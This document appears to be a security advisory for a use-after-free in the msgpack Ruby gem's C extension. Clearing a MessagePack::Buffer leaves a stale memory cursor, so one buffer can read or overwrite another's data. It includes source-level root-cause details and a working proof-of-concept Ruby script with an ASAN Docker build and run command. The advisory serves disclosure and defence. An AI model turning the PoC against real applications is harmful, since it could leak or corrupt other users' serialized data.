See how messagepack for ruby compares to other vendors in security performance
Summary MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmemlast, rmemend, rmemowner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).
Details - msgpackbufferclear() → msgpackbuffershiftchunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (msgpackbufferchunkdestroy, :58, returns the page via msgpackrmemfree) but resets only tailbufferend/readbuffer, leaving rmemlast/rmemend/rmemowner pointing into the freed page. - Next Buffer#write → msgpackbufferchunkmalloc() reuse branch (:363) returns b->rmemlast, a pointer into the already-freed page. - A second buffer's first write calls msgpackrmemalloc() and gets the same physical page back from the pool → the two buffers alias the same memory. - Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.
PoC Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):
bash set -e WORK="$(mktemp -d)"; cd "$WORK"
1) PoC cat > poc.rb <<'RUBY' b1 = MessagePack::Buffer.new(nil, writereferencethreshold: 256) b1.write('M' 1000); b1.write('A' 200); b1.write('N' 1000) b1.clear b1.write('C' 128) secret = ('s' 200) + ('ABCD' 32) + ('t' 400) b2 = MessagePack::Buffer.new(nil, writereferencethreshold: 4096) b2.write(secret) leaked = b1.readall donor = b2.readall puts 'b1first64:' + leaked.byteslice(0, 64) puts 'b2donor64:' + donor.byteslice(200, 64) puts 'leakedisC:' + (leaked == 'C' 128).tos puts 'crossbuffermatch:' + (leaked == donor.byteslice(200, 128)).tos RUBY
2) ASAN build of msgpackfrom rubygems cat > Dockerfile <<'DOCKER' FROM ruby:3.3-bookworm RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/ RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \ cd msgpack-1.8.1/ext/msgpack && \ MSGPACKDEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \ make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so DOCKER docker build -t msgpack-asan-poc .
3) Run under ASAN docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \ bash -c 'export LDPRELOAD=$(gcc -print-file-name=libasan.so); export ASANOPTIONS=detectleaks=0:haltonerror=1:abortonerror=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'
Expected output: b1first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD b2donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD leakedisC:false crossbuffermatch:true
Impact Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.
Credit Pranjali Thakur - depthfirst (depthfirst.com)